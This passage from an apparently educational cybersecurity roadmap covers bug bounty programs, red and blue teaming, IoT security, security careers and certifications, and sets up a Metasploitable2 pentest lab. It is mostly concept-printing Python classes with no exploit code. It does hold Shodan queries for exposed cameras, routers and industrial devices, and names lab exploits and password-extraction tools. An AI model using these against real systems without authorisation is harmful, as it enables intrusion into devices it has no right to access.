Model EvasionBypassing AI-based detection
Data PoisoningCompromising training data
Model TheftStealing AI models
class AICybersecurity:
    """AI in cybersecurity concepts"""

    def __init__(self):
        self.defensive_applications = {
            "Threat Detection": "Automated IDS/IPS",
            "Anomaly Detection": "Identify unusual behavior",
            "Incident Response": "Automated playbooks",
            "Threat Intelligence": "Analyze threat data",
            "UEBA": "User and Entity Behavior Analytics"
        }

        self.attack_risks = {
            "Adversarial Examples": "Inputs designed to fool AI",
            "Model Evasion": "Bypassing AI-based detection",
            "Data Poisoning": "Compromising training data",
            "Model Theft": "Stealing AI models"
        }

    def display_ai_cybersecurity(self):
        """Display AI in cybersecurity concepts"""
        print("=== AI in Cybersecurity ===\n")

        print("🛡️ Defensive Applications:")
        for app, description in self.defensive_applications.items():
            print(f"   - {app}: {description}")

        print("\n🔴 Attack Risks:")
        for risk, description in self.attack_risks.items():
            print(f"   - {risk}: {description}")

# Example
ai_cybersecurity = AICybersecurity()
ai_cybersecurity.display_ai_cybersecurity()

11.3 Bug Bounty (Real-World Hacking)

Bug Bounty programs are schemes operated by organizations that invite independent security researchers to find and responsibly disclose vulnerabilities in their systems in exchange for monetary rewards.

11.3.1 What is Bug Bounty

Platform Overview:

PlatformDescription
HackerOneLargest bug bounty platform
BugcrowdCrowdsourced security testing
IntigritiEuropean-focused platform
SynackVetted security researchers

Program Types:

TypeDescription
PublicOpen to all registered researchers
PrivateInvitation-only
VDPVulnerability Disclosure Program (no monetary rewards)
class BugBounty:
    """Bug bounty concepts"""

    def __init__(self):
        self.platforms = {
            "HackerOne": "Largest bug bounty platform",
            "Bugcrowd": "Crowdsourced security testing",
            "Intigriti": "European-focused platform",
            "Synack": "Vetted security researchers"
        }

        self.program_types = {
            "Public": "Open to all registered researchers",
            "Private": "Invitation-only",
            "VDP": "Vulnerability Disclosure Program (no monetary rewards)"
        }

    def display_bug_bounty(self):
        """Display bug bounty concepts"""
        print("=== Bug Bounty ===\n")

        print("📋 Platforms:")
        for platform, description in self.platforms.items():
            print(f"   - {platform}: {description}")

        print("\n📋 Program Types:")
        for type_name, description in self.program_types.items():
            print(f"   - {type_name}: {description}")

# Example
bug_bounty = BugBounty()
bug_bounty.display_bug_bounty()

11.3.2 Bug Bounty Hunting

Reconnaissance Methodology:

PhaseDescription
Passive ReconOSINT, domain enumeration
Subdomain DiscoveryFind all subdomains
Content DiscoveryDirectory and file enumeration
Technology IdentificationIdentify tech stack

Finding Vulnerabilities:

ApproachDescription
Quality over QuantityFocus on impactful vulnerabilities
Business Logic FlawsFind logic errors in applications
Chain VulnerabilitiesCombine issues for maximum impact
Automated vs ManualUse tools to find areas, manual to exploit

11.3.3 Bug Bounty Reporting

High-Quality Report Structure:

SectionDescription
TitleClear, descriptive, and concise
SummaryHigh-level description of the issue
Steps to ReproduceDetailed, step-by-step instructions
ImpactWhat an attacker could achieve
Proof of ConceptScreenshots, code, demonstration
RemediationHow to fix the vulnerability
class BugBountyReporting:
    """Bug bounty reporting concepts"""

    def __init__(self):
        self.report_structure = {
            "Title": "Clear, descriptive, and concise",
            "Summary": "High-level description of the issue",
            "Steps to Reproduce": "Detailed, step-by-step instructions",
            "Impact": "What an attacker could achieve",
            "Proof of Concept": "Screenshots, code, demonstration",
            "Remediation": "How to fix the vulnerability"
        }

        self.best_practices = [
            "Be clear and concise",
            "Provide actionable recommendations",
            "Include proof of concept",
            "Document everything",
            "Communicate professionally",
            "Follow up responsibly"
        ]

    def display_reporting(self):
        """Display bug bounty reporting concepts"""
        print("=== Bug Bounty Reporting ===\n")

        print("📋 Report Structure:")
        for section, description in self.report_structure.items():
            print(f"   - {section}: {description}")

        print("\n📋 Best Practices:")
        for practice in self.best_practices:
            print(f"   - {practice}")

# Example
bug_reporting = BugBountyReporting()
bug_reporting.display_reporting()

11.4 Red Team vs Blue Team

11.4.1 Red Team Operations

Definition: A red team is a group of security professionals who simulate a real advanced threat actor targeting a specific organization. The engagement typically runs for weeks to months.

Attack Simulation Methodology:

PhaseDescription
ReconnaissanceGather information about the target
Initial AccessGain a foothold
Lateral MovementMove through the network
Privilege EscalationGain higher-level access
ExfiltrationSteal data
PersistenceMaintain access

11.4.2 Blue Team Operations

Definition: The blue team defends the organisation against red team operations and real attacks. Blue team work encompasses security monitoring, incident detection, threat hunting, vulnerability management, security architecture, and incident response.

11.4.3 Purple Team

Definition: Purple teaming is a collaborative approach where red and blue team members work together rather than in adversarial isolation. The red team executes a specific technique, and the blue team attempts to detect it.

class RedBluePurple:
    """Red, Blue, and Purple team concepts"""

    def __init__(self):
        self.red_team = {
            "purpose": "Attack simulation",
            "techniques": ["Reconnaissance", "Initial Access", "Lateral Movement"],
            "thinking": "Offensive, adversarial"
        }

        self.blue_team = {
            "purpose": "Defensive operations",
            "techniques": ["Monitoring", "Detection", "Incident Response"],
            "thinking": "Defensive, protective"
        }

        self.purple_team = {
            "purpose": "Collaboration",
            "techniques": ["Share findings", "Improve detection", "Continuous learning"],
            "thinking": "Collaborative, educational"
        }

    def display_teams(self):
        """Display Red, Blue, and Purple team concepts"""
        print("=== Red Team vs Blue Team ===\n")

        print("🔴 Red Team:")
        print(f"   Purpose: {self.red_team['purpose']}")
        print(f"   Techniques: {', '.join(self.red_team['techniques'])}")
        print(f"   Thinking: {self.red_team['thinking']}")

        print("\n🔵 Blue Team:")
        print(f"   Purpose: {self.blue_team['purpose']}")
        print(f"   Techniques: {', '.join(self.blue_team['techniques'])}")
        print(f"   Thinking: {self.blue_team['thinking']}")

        print("\n🟣 Purple Team:")
        print(f"   Purpose: {self.purple_team['purpose']}")
        print(f"   Techniques: {', '.join(self.purple_team['techniques'])}")
        print(f"   Thinking: {self.purple_team['thinking']}")

# Example
teams = RedBluePurple()
teams.display_teams()

11.5 IoT Security

11.5.1 IoT Device Reconnaissance with Shodan

Shodan is a search engine specifically for internet-connected devices. It indexes the banners and responses of network services.

class IoTRecon:
    """IoT reconnaissance concepts"""

    def __init__(self):
        self.shodan_queries = {
            "Default Passwords": "default password",
            "Cameras": "product:'Hikvision'",
            "Routers": "port:80 country:'PK'",
            "Industrial": "product:'Modbus'",
            "Smart Devices": "smart device"
        }

    def display_shodan(self):
        """Display Shodan reconnaissance concepts"""
        print("=== IoT Device Reconnaissance with Shodan ===\n")

        print("📊 Shodan Search Examples:")
        for query, description in self.shodan_queries.items():
            print(f"   - {query}: {description}")

        print("\n🔍 What Shodan Reveals:")
        print("   - Device type")
        print("   - Open ports")
        print("   - Service versions")
        print("   - Geographic location")
        print("   - Organization")
        print("   - Default credentials")

# Example
iot_recon = IoTRecon()
iot_recon.display_shodan()

11.5.2 Firmware Analysis

Firmware Analysis involves extracting and analyzing the software that runs on IoT devices to identify vulnerabilities.

class FirmwareAnalysis:
    """Firmware analysis concepts"""

    def __init__(self):
        self.analysis_tools = {
            "Binwalk": "Firmware extraction and analysis",
            "Strings": "Extract readable text",
            "Ghidra": "Reverse engineering",
            "IDA Pro": "Advanced disassembly"
        }

        self.findings = {
            "Hardcoded Credentials": "Password in firmware",
            "API Keys": "Keys embedded in code",
            "Backdoors": "Hidden access points",
            "Unpatched Vulnerabilities": "Known CVEs in components"
        }

    def display_firmware(self):
        """Display firmware analysis concepts"""
        print("=== Firmware Analysis ===\n")

        print("🔧 Analysis Tools:")
        for tool, description in self.analysis_tools.items():
            print(f"   - {tool}: {description}")

        print("\n🔍 Common Findings:")
        for finding, description in self.findings.items():
            print(f"   - {finding}: {description}")

# Example
firmware = FirmwareAnalysis()
firmware.display_firmware()

11.6 IoT Security (Practical Understanding)

11.6.1 IoT Security Challenges

ChallengeDescription
Lack of UpdatesDevices often don’t receive security updates
Default CredentialsUsers rarely change default passwords
Limited ResourcesDevices have limited CPU and memory
Physical AccessDevices are often physically accessible
Long LifespanDevices may remain in use for years
Vendor SupportVendors may not provide security support

11.6.2 IoT Attack Surfaces

SurfaceDescription
Network InterfacesWi-Fi, Bluetooth, Zigbee, LoRa
Web InterfacesBuilt-in web servers
Cloud ServicesIoT cloud platforms
Mobile AppsCompanion applications
Physical InterfacesUSB, JTAG, UART
FirmwareSoftware running on the device

11.6.3 IoT Security Best Practices

PracticeDescription
Device HardeningDisable unnecessary services
Network SegmentationPlace IoT on separate VLAN
Regular UpdatesApply firmware updates
Strong AuthenticationNo default credentials
MonitoringMonitor IoT traffic
Physical SecuritySecure physical access
class IoTSecurity:
    """IoT security concepts"""

    def __init__(self):
        self.challenges = {
            "Lack of Updates": "Devices often don't receive security updates",
            "Default Credentials": "Users rarely change default passwords",
            "Limited Resources": "Devices have limited CPU and memory",
            "Physical Access": "Devices are often physically accessible"
        }

        self.attack_surfaces = {
            "Network": "Wi-Fi, Bluetooth, Zigbee, LoRa",
            "Web": "Built-in web servers",
            "Cloud": "IoT cloud platforms",
            "Mobile": "Companion applications",
            "Physical": "USB, JTAG, UART"
        }

        self.best_practices = {
            "Device Hardening": "Disable unnecessary services",
            "Network Segmentation": "Place IoT on separate VLAN",
            "Regular Updates": "Apply firmware updates",
            "Strong Authentication": "No default credentials",
            "Monitoring": "Monitor IoT traffic"
        }

    def display_iot(self):
        """Display IoT security concepts"""
        print("=== IoT Security ===\n")

        print("🔴 Security Challenges:")
        for challenge, description in self.challenges.items():
            print(f"   - {challenge}: {description}")

        print("\n📊 Attack Surfaces:")
        for surface, description in self.attack_surfaces.items():
            print(f"   - {surface}: {description}")

        print("\n🛡️ Best Practices:")
        for practice, description in self.best_practices.items():
            print(f"   - {practice}: {description}")

# Example
iot_security = IoTSecurity()
iot_security.display_iot()

You have now completed Phase 11: Enterprise GRC & Advanced Security.

Key Topics Covered:

TopicKey Concepts
Security FrameworksNIST CSF, ISO 27001, SOC 2, GDPR, HIPAA, PCI DSS
Risk ManagementIdentification, Assessment, Treatment, BCP, DRP
Regulatory RequirementsRisk assessments, Transparency, Audit trails
AI SecurityModel inversion, Data poisoning, LLM threats
Bug BountyPlatforms, Reporting, Finding vulnerabilities
Red/Blue/Purple TeamAttack simulation, Defense, Collaboration
IoT SecurityChallenges, Attack surfaces, Best practices

PHASE 12: BUILDING YOUR SECURITY CAREER

12.1 Career Roles (What You Can Become)

12.1.1 Entry-Level Roles

Security Analyst

Definition: A Security Analyst is responsible for monitoring and analyzing security events, responding to incidents, and maintaining security controls. They are the first line of defense in many organizations.

Key Responsibilities:

  • Monitor security alerts and events
  • Conduct initial triage of security incidents
  • Analyze logs and network traffic
  • Respond to security incidents
  • Maintain security tools and systems

Skills Required:

  • Understanding of networking fundamentals
  • Knowledge of operating systems (Windows, Linux)
  • Familiarity with security tools (SIEM, IDS/IPS)
  • Basic incident response knowledge
  • Analytical and problem-solving skills

Salary Range: $50,000 – $80,000

class SecurityAnalyst:
    """Security Analyst role"""

    def __init__(self):
        self.responsibilities = [
            "Monitor security alerts and events",
            "Conduct initial triage of security incidents",
            "Analyze logs and network traffic",
            "Respond to security incidents",
            "Maintain security tools and systems"
        ]

        self.skills = [
            "Networking fundamentals",
            "Operating systems (Windows, Linux)",
            "Security tools (SIEM, IDS/IPS)",
            "Incident response knowledge",
            "Analytical and problem-solving skills"
        ]

    def display_role(self):
        """Display Security Analyst role"""
        print("=== Security Analyst ===\n")

        print("📋 Responsibilities:")
        for resp in self.responsibilities:
            print(f"   - {resp}")

        print("\n🔧 Skills Required:")
        for skill in self.skills:
            print(f"   - {skill}")

# Example
analyst = SecurityAnalyst()
analyst.display_role()

SOC Analyst

Definition: A SOC Analyst works in a Security Operations Center, monitoring networks for security threats and responding to alerts.

Key Responsibilities:

  • Monitor security alerts in real-time
  • Investigate potential security incidents
  • Escalate critical incidents
  • Document findings and actions
  • Maintain SOC operational procedures

Career Path: SOC Analyst → Lead Analyst → SOC Manager

12.1.2 Mid-Level Roles

Penetration Tester

Definition: A Penetration Tester conducts authorized attacks on systems to identify vulnerabilities. They use the same tools and techniques as attackers to find security weaknesses.

Key Responsibilities:

  • Conduct network and application penetration tests
  • Identify and exploit vulnerabilities
  • Document findings and recommend remediation
  • Write detailed penetration test reports
  • Stay updated on attack techniques

Skills Required:

  • Advanced networking knowledge
  • Web application security
  • Operating system internals
  • Programming and scripting (Python, Bash)
  • Report writing and communication

Salary Range: $90,000 – $140,000

class PenetrationTester:
    """Penetration Tester role"""

    def __init__(self):
        self.responsibilities = [
            "Conduct network and application penetration tests",
            "Identify and exploit vulnerabilities",
            "Document findings and recommend remediation",
            "Write detailed penetration test reports",
            "Stay updated on attack techniques"
        ]

        self.skills = [
            "Advanced networking knowledge",
            "Web application security",
            "Operating system internals",
            "Programming (Python, Bash)",
            "Report writing and communication"
        ]

    def display_role(self):
        """Display Penetration Tester role"""
        print("=== Penetration Tester ===\n")

        print("📋 Responsibilities:")
        for resp in self.responsibilities:
            print(f"   - {resp}")

        print("\n🔧 Skills Required:")
        for skill in self.skills:
            print(f"   - {skill}")

# Example
pentester = PenetrationTester()
pentester.display_role()

Security Engineer

Definition: A Security Engineer designs, implements, and maintains security controls and systems. They build the security infrastructure that protects the organization.

Key Responsibilities:

  • Design security architecture
  • Implement security tools and controls
  • Automate security processes
  • Conduct security assessments
  • Collaborate with development and operations teams

Skills Required:

  • Security architecture knowledge
  • Cloud security (AWS, Azure, GCP)
  • Scripting and automation
  • Network and system administration
  • DevSecOps practices

12.1.3 Senior-Level Roles

Security Architect

Definition: A Security Architect designs the overall security structure of an organization’s systems and networks. They create security strategies that align with business objectives.

Key Responsibilities:

  • Design security frameworks
  • Develop security strategy
  • Review security controls
  • Guide security implementation
  • Evaluate new security technologies

Security Consultant

Definition: A Security Consultant provides expert advice to organizations on security practices, assessments, and implementations.

Cloud Security Engineer

Definition: A Cloud Security Engineer secures cloud environments and workloads, ensuring cloud infrastructure is properly configured and protected.

Security Researcher

Definition: A Security Researcher discovers vulnerabilities in software and hardware, publishes findings, and contributes to the security community.

Forensic Examiner

Definition: A Forensic Examiner conducts digital forensic investigations to analyze evidence and support legal or internal proceedings.

12.1.4 Executive-Level Roles

Security Director

Definition: A Security Director leads the security team and develops security strategy for the organization.

CISO (Chief Information Security Officer)

Definition: The CISO is the executive responsible for an organization’s information security program. They communicate security risks to the board and ensure security aligns with business goals.

Key Responsibilities:

  • Develop security strategy
  • Manage security budget
  • Communicate security risks to executives
  • Oversee security compliance
  • Lead security team
class CISO:
    """CISO role"""

    def __init__(self):
        self.responsibilities = [
            "Develop security strategy",
            "Manage security budget",
            "Communicate security risks to executives",
            "Oversee security compliance",
            "Lead security team"
        ]

        self.skills = [
            "Leadership and management",
            "Risk management",
            "Communication skills",
            "Strategic thinking",
            "Business acumen",
            "Regulatory knowledge"
        ]

    def display_role(self):
        """Display CISO role"""
        print("=== CISO (Chief Information Security Officer) ===\n")

        print("📋 Responsibilities:")
        for resp in self.responsibilities:
            print(f"   - {resp}")

        print("\n🔧 Skills Required:")
        for skill in self.skills:
            print(f"   - {skill}")

# Example
ciso = CISO()
ciso.display_role()

12.2 Certification Path (Clear Direction)

12.2.1 Beginner Certifications

CompTIA Security+

Definition: CompTIA Security+ is the most recognized entry-level security certification. It covers foundational security concepts and is often required for government and defense roles.

Key Topics:

  • Threats, attacks, and vulnerabilities
  • Technologies and tools
  • Architecture and design
  • Identity and access management
  • Risk management
  • Cryptography and PKI

Exam Details:

  • 90 questions (multiple choice and performance-based)
  • 90 minutes
  • Score required: 750/900
  • Cost: $392 (USD)

CompTIA Network+

Definition: CompTIA Network+ covers networking fundamentals, essential for understanding network security.

Key Topics:

  • Networking concepts
  • Infrastructure
  • Network operations
  • Network security
  • Troubleshooting

CompTIA CySA+

Definition: CompTIA CySA+ focuses on threat detection and response, suitable for security analysts.

CompTIA A+

Definition: CompTIA A+ covers IT fundamentals and is useful for building a technical foundation.

class BeginnerCertifications:
    """Beginner security certifications"""

    def __init__(self):
        self.certifications = {
            "CompTIA Security+": {
                "focus": "Security fundamentals",
                "topics": ["Threats", "Technologies", "Architecture", "Risk management", "Cryptography"],
                "cost": "$392",
                "duration": "90 minutes"
            },
            "CompTIA Network+": {
                "focus": "Networking fundamentals",
                "topics": ["Networking concepts", "Infrastructure", "Network security"],
                "cost": "$358",
                "duration": "90 minutes"
            },
            "CompTIA CySA+": {
                "focus": "Threat detection and response",
                "topics": ["Monitoring", "Analysis", "Incident response"],
                "cost": "$392",
                "duration": "165 minutes"
            }
        }

    def display_certs(self):
        """Display beginner certifications"""
        print("=== Beginner Certifications ===\n")

        for cert, info in self.certifications.items():
            print(f"🔹 {cert}")
            print(f"   Focus: {info['focus']}")
            print(f"   Topics: {', '.join(info['topics'])}")
            print(f"   Cost: {info['cost']}")
            print(f"   Duration: {info['duration']}")
            print()

# Example
beginner_certs = BeginnerCertifications()
beginner_certs.display_certs()

12.2.2 Intermediate Certifications

CEH (Certified Ethical Hacker)

Definition: CEH is one of the most recognized ethical hacking certifications, covering attack tools and techniques.

Key Topics:

  • Reconnaissance
  • Scanning and enumeration
  • System hacking
  • Network security
  • Web application security
  • Wireless security

OSCP (Offensive Security Certified Professional)

Definition: OSCP is one of the most respected practical penetration testing certifications. It requires a 24-hour hands-on exam where candidates must compromise multiple machines.

Key Topics:

  • Penetration testing methodology
  • Exploit development
  • Buffer overflows
  • Active Directory attacks
  • Web application testing

GPEN (GIAC Penetration Tester)

Definition: GPEN is GIAC’s penetration testing certification, covering methodology and technical skills.

Security Blue Team (BTL1)

Definition: BTL1 focuses on defensive security, including threat hunting and incident response.

class IntermediateCertifications:
    """Intermediate security certifications"""

    def __init__(self):
        self.certifications = {
            "CEH": {
                "full_name": "Certified Ethical Hacker",
                "focus": "Ethical hacking foundations",
                "topics": ["Reconnaissance", "Scanning", "System hacking", "Web security"],
                "exam": "4 hours, 125 questions"
            },
            "OSCP": {
                "full_name": "Offensive Security Certified Professional",
                "focus": "Practical penetration testing",
                "topics": ["Penetration testing", "Exploit development", "Buffer overflows"],
                "exam": "24 hours practical exam"
            },
            "GPEN": {
                "full_name": "GIAC Penetration Tester",
                "focus": "Penetration testing methodology",
                "topics": ["Methodology", "Tools", "Reporting"],
                "exam": "3 hours, 75 questions"
            },
            "BTL1": {
                "full_name": "Security Blue Team Level 1",
                "focus": "Defensive security",
                "topics": ["Threat hunting", "Incident response", "Log analysis"],
                "exam": "Practical exam"
            }
        }

    def display_certs(self):
        """Display intermediate certifications"""
        print("=== Intermediate Certifications ===\n")

        for cert, info in self.certifications.items():
            print(f"🔹 {cert} - {info['full_name']}")
            print(f"   Focus: {info['focus']}")
            print(f"   Topics: {', '.join(info['topics'])}")
            print(f"   Exam: {info['exam']}")
            print()

# Example
intermediate_certs = IntermediateCertifications()
intermediate_certs.display_certs()

12.2.3 Advanced Certifications

GWAPT (GIAC Web Application Penetration Tester)

Definition: GWAPT focuses specifically on web application security testing.

OSCE (Offensive Security Certified Expert)

Definition: OSCE is an advanced certification focused on exploit development and advanced techniques.

GREM (GIAC Reverse Engineering Malware)

Definition: GREM covers malware analysis and reverse engineering techniques.

12.2.4 Expert Certifications

CISSP (Certified Information Systems Security Professional)

Definition: CISSP is one of the most prestigious security certifications, covering eight security domains.

Domains:

  1. Security and Risk Management
  2. Asset Security
  3. Security Architecture and Engineering
  4. Communication and Network Security
  5. Identity and Access Management
  6. Security Assessment and Testing
  7. Security Operations
  8. Software Development Security

Requirements:

  • 5 years of security experience
  • 4 years with degree
  • Endorsement from CISSP holder

CISM (Certified Information Security Manager)

Definition: CISM focuses on information security management and governance.

CRISC (Certified in Risk and Information Systems Control)

Definition: CRISC focuses on risk management and information systems control.

class ExpertCertifications:
    """Expert security certifications"""

    def __init__(self):
        self.certifications = {
            "CISSP": {
                "full_name": "Certified Information Systems Security Professional",
                "focus": "Comprehensive security",
                "domains": [
                    "Security and Risk Management",
                    "Asset Security",
                    "Security Architecture",
                    "Network Security",
                    "Identity and Access Management",
                    "Security Assessment",
                    "Security Operations",
                    "Software Development Security"
                ],
                "requirements": "5 years experience, endorsement required"
            },
            "CISM": {
                "full_name": "Certified Information Security Manager",
                "focus": "Security management",
                "domains": [
                    "Information Security Governance",
                    "Risk Management",
                    "Security Program Development",
                    "Incident Management"
                ],
                "requirements": "5 years experience"
            },
            "CRISC": {
                "full_name": "Certified in Risk and Information Systems Control",
                "focus": "Risk management",
                "domains": [
                    "Risk Identification",
                    "Risk Assessment",
                    "Risk Response",
                    "Risk Monitoring"
                ],
                "requirements": "3 years experience"
            }
        }

    def display_certs(self):
        """Display expert certifications"""
        print("=== Expert Certifications ===\n")

        for cert, info in self.certifications.items():
            print(f"🔹 {cert} - {info['full_name']}")
            print(f"   Focus: {info['focus']}")
            print(f"   Domains:")
            for domain in info['domains']:
                print(f"      - {domain}")
            print(f"   Requirements: {info['requirements']}")
            print()

# Example
expert_certs = ExpertCertifications()
expert_certs.display_certs()

12.3 Building Your Advanced Security Career

12.3.1 Skill Development

Continuous Learning Strategy:

MethodDescription
ReadingSecurity books, blogs, and whitepapers
CoursesOnline courses and certifications
LabsHands-on practice
CTFCapture The Flag competitions
ConferencesSecurity conferences and meetups

Recommended Learning Resources:

ResourceTypeDescription
TryHackMePlatformBeginner-friendly labs
Hack The BoxPlatformRealistic hacking challenges
VulnHubPlatformVulnerable machines
PortSwiggerPlatformWeb security labs
SANSTrainingProfessional security training
CybraryTrainingFree security courses
class SkillDevelopment:
    """Skill development strategies"""

    def __init__(self):
        self.resources = {
            "TryHackMe": "Beginner-friendly labs",
            "Hack The Box": "Realistic hacking challenges",
            "VulnHub": "Vulnerable machines",
            "PortSwigger": "Web security labs",
            "SANS": "Professional security training",
            "Cybrary": "Free security courses"
        }

        self.methods = {
            "Reading": "Security books, blogs, whitepapers",
            "Courses": "Online courses and certifications",
            "Labs": "Hands-on practice",
            "CTF": "Capture The Flag competitions",
            "Conferences": "Security conferences and meetups"
        }

    def display_development(self):
        """Display skill development strategies"""
        print("=== Skill Development ===\n")

        print("📋 Learning Methods:")
        for method, description in self.methods.items():
            print(f"   - {method}: {description}")

        print("\n🔧 Resources:")
        for resource, description in self.resources.items():
            print(f"   - {resource}: {description}")

# Example
skill_dev = SkillDevelopment()
skill_dev.display_development()

12.3.2 Portfolio Building

Bug Bounty Participation:

BenefitDescription
Real-World ExperienceTest skills on real targets
ReputationBuild a profile on platforms
IncomeEarn money from findings
LearningLearn from other researchers

Open-Source Contributions:

ContributionDescription
ToolsDevelop security tools
ScriptsWrite automation scripts
FrameworksContribute to security frameworks
DocumentationImprove existing documentation

Security Research:

AreaDescription
CVE DiscoveryFind and report vulnerabilities
Blog WritingShare knowledge with the community
Conference SpeakingPresent at security conferences
TrainingTeach others security skills
class PortfolioBuilding:
    """Building a security portfolio"""

    def __init__(self):
        self.activities = {
            "Bug Bounty": [
                "Find and report vulnerabilities",
                "Build reputation on platforms",
                "Earn monetary rewards"
            ],
            "Open Source": [
                "Develop security tools",
                "Write automation scripts",
                "Contribute to frameworks"
            ],
            "Research": [
                "Find CVEs",
                "Write blog posts",
                "Speak at conferences"
            ]
        }

    def display_portfolio(self):
        """Display portfolio building activities"""
        print("=== Building Your Security Portfolio ===\n")

        for activity, items in self.activities.items():
            print(f"🔹 {activity}:")
            for item in items:
                print(f"   - {item}")
            print()

# Example
portfolio = PortfolioBuilding()
portfolio.display_portfolio()

12.3.3 Job Search Strategy

Resume Writing for Security Roles:

SectionKey Elements
SummaryBrief overview of skills and experience
Technical SkillsSpecific tools, languages, certifications
ExperienceAchievements with measurable results
ProjectsSecurity projects and contributions
CertificationsList of certifications earned
EducationDegrees and training

Interview Preparation:

TypeFocus
TechnicalSecurity concepts, tools, scenarios
BehavioralPast experiences and problem-solving
Case StudiesReal-world security challenges
Scenario-BasedHypothetical security incidents
class JobSearch:
    """Job search strategies"""

    def __init__(self):
        self.resume_sections = {
            "Summary": "Brief overview of skills and experience",
            "Technical Skills": "Specific tools, languages, certifications",
            "Experience": "Achievements with measurable results",
            "Projects": "Security projects and contributions",
            "Certifications": "List of certifications earned",
            "Education": "Degrees and training"
        }

        self.interview_types = {
            "Technical": "Security concepts, tools, scenarios",
            "Behavioral": "Past experiences and problem-solving",
            "Case Studies": "Real-world security challenges",
            "Scenario-Based": "Hypothetical security incidents"
        }

    def display_job_search(self):
        """Display job search strategies"""
        print("=== Job Search Strategy ===\n")

        print("📋 Resume Sections:")
        for section, content in self.resume_sections.items():
            print(f"   - {section}: {content}")

        print("\n📋 Interview Types:")
        for type_name, focus in self.interview_types.items():
            print(f"   - {type_name}: {focus}")

# Example
job_search = JobSearch()
job_search.display_job_search()

12.3.4 Entry-Level Career Paths

Career Progression Paths:

PathProgression
SOC PathSOC Analyst → Lead Analyst → SOC Manager
Penetration Testing PathJunior Pentester → Senior Pentester → Security Consultant
Security Engineering PathSecurity Engineer → Security Architect → CISO
Forensic PathForensic Examiner → Lead Examiner → DFIR Manager
class CareerPaths:
    """Career progression paths"""

    def __init__(self):
        self.paths = {
            "SOC Path": ["SOC Analyst", "Lead Analyst", "SOC Manager"],
            "Penetration Testing": ["Junior Pentester", "Senior Pentester", "Security Consultant"],
            "Security Engineering": ["Security Engineer", "Security Architect", "CISO"],
            "Forensic Path": ["Forensic Examiner", "Lead Examiner", "DFIR Manager"]
        }

    def display_paths(self):
        """Display career paths"""
        print("=== Career Paths ===\n")

        for path, steps in self.paths.items():
            print(f"🔹 {path}:")
            for i, step in enumerate(steps, 1):
                print(f"   {i}. {step}")
            print()

# Example
career_paths = CareerPaths()
career_paths.display_paths()

You have now completed Phase 12: Building Your Security Career.

Key Topics Covered:

TopicKey Concepts
Entry-Level RolesSecurity Analyst, SOC Analyst, Junior Penetration Tester
Mid-Level RolesPenetration Tester, Security Engineer, Incident Responder
Senior-Level RolesSecurity Architect, Security Manager, Security Researcher
Executive RolesSecurity Director, CISO
CertificationsCompTIA, CEH, OSCP, CISSP, CISM
Skill DevelopmentContinuous learning, labs, CTF
Portfolio BuildingBug bounty, Open source, Research
Job SearchResume writing, Interview preparation

Key Takeaways:

  • Security careers offer diverse paths based on interests and skills
  • Certifications demonstrate knowledge and commitment
  • Practical experience is essential (labs, CTF, bug bounty)
  • Continuous learning is required in this field
  • Networking and professional development are important

PHASE 13: PRACTICAL PROJECTS

13.1 FINAL MASTER PRACTICAL PROJECT: “Complete Mini Penetration Test Lab”

This project combines everything you have learned throughout the entire roadmap. You will simulate a real penetration testing engagement from start to finish.

13.1.1 Project Scope

Project Overview:

AspectDescription
ObjectiveConduct a complete penetration test on a lab environment
Duration2-3 weeks (simulated)
EnvironmentVirtualBox/Kali Linux + Metasploitable2
MethodologyReconnaissance → Scanning → Exploitation → Reporting
LegalTest only on your own lab environment

Lab Setup Requirements:

ComponentDescription
Kali LinuxAttacker machine (penetration testing tools)
Metasploitable2Vulnerable target machine
NetworkHost-Only or Internal network
ToolsNmap, Metasploit, Burp Suite, Nikto, Gobuster
class PentestLab:
    """Complete penetration testing lab setup"""

    def __init__(self):
        self.components = {
            "Kali Linux": {
                "purpose": "Attacker machine",
                "tools": ["Nmap", "Metasploit", "Burp Suite", "Nikto", "Gobuster"]
            },
            "Metasploitable2": {
                "purpose": "Vulnerable target",
                "vulnerabilities": [
                    "vsftpd 2.3.4 backdoor",
                    "Samba usermap exploit",
                    "Apache Tomcat vulnerabilities",
                    "MySQL default credentials",
                    "OpenSSH weak configuration"
                ]
            },
            "Network": {
                "purpose": "Isolated testing",
                "type": "Host-Only or Internal"
            }
        }

    def display_lab(self):
        """Display lab setup"""
        print("=== Pentest Lab Setup ===\n")

        for component, info in self.components.items():
            print(f"🔹 {component}:")
            print(f"   Purpose: {info['purpose']}")
            if isinstance(info.get('tools'), list):
                print(f"   Tools: {', '.join(info['tools'])}")
            elif isinstance(info.get('vulnerabilities'), list):
                print(f"   Vulnerabilities: {', '.join(info['vulnerabilities'])}")
            else:
                print(f"   {info}")
            print()

# Example
lab = PentestLab()
lab.display_lab()

Phase 1: Reconnaissance

In this phase, you will gather information about the target without directly interacting with it.

Tasks:

  1. Identify the target IP address
  2. Perform passive reconnaissance (if applicable)
  3. Document findings
  4. Plan active reconnaissance

Phase 2: Scanning and Enumeration

In this phase, you will actively scan the target to discover open ports, services, and vulnerabilities.

Tools:

  • Nmap for port scanning
  • Nikto for web server scanning
  • Nessus or OpenVAS for vulnerability scanning
  • Gobuster for directory discovery

Phase 3: Exploitation

In this phase, you will attempt to exploit discovered vulnerabilities to gain access.

Tools:

  • Metasploit for exploitation
  • Manual exploitation techniques
  • Payload generation

Phase 4: Post-Exploitation

In this phase, you will explore the compromised system, escalate privileges, and establish persistence.

Tasks:

  • Privilege escalation
  • Password extraction
  • Lateral movement
  • Data discovery

Phase 5: Reporting

In this phase, you will document all findings and provide remediation recommendations.

class PentestPhases:
    """Penetration testing phases"""

    def __init__(self):
        self.phases = {
            "Phase 1: Reconnaissance": {
                "description": "Gather information about the target",
                "tasks": [
                    "Identify target IP",
                    "Passive reconnaissance",
                    "Document findings"
                ],
                "tools": ["WHOIS", "Google Dorking", "theHarvester"]
            },
            "Phase 2: Scanning": {
                "description": "Actively scan the target",
                "tasks": [
                    "Port scanning",
                    "Service enumeration",
                    "Vulnerability scanning"
                ],
                "tools": ["Nmap", "Nikto", "Nessus", "Gobuster"]
            },
            "Phase 3: Exploitation": {
                "description": "Exploit vulnerabilities",
                "tasks": [
                    "Exploit discovery",
                    "Gain access",
                    "Capture proof"
                ],
                "tools": ["Metasploit", "Manual exploitation"]
            },
            "Phase 4: Post-Exploitation": {
                "description": "Explore and escalate",
                "tasks": [
                    "Privilege escalation",
                    "Password extraction",
                    "Lateral movement"
                ],
                "tools": ["Meterpreter", "Mimikatz", "Custom scripts"]
            },
            "Phase 5: Reporting": {
                "description": "Document findings",
                "tasks": [
                    "Executive summary",
                    "Technical details",
                    "Remediation recommendations"
                ],
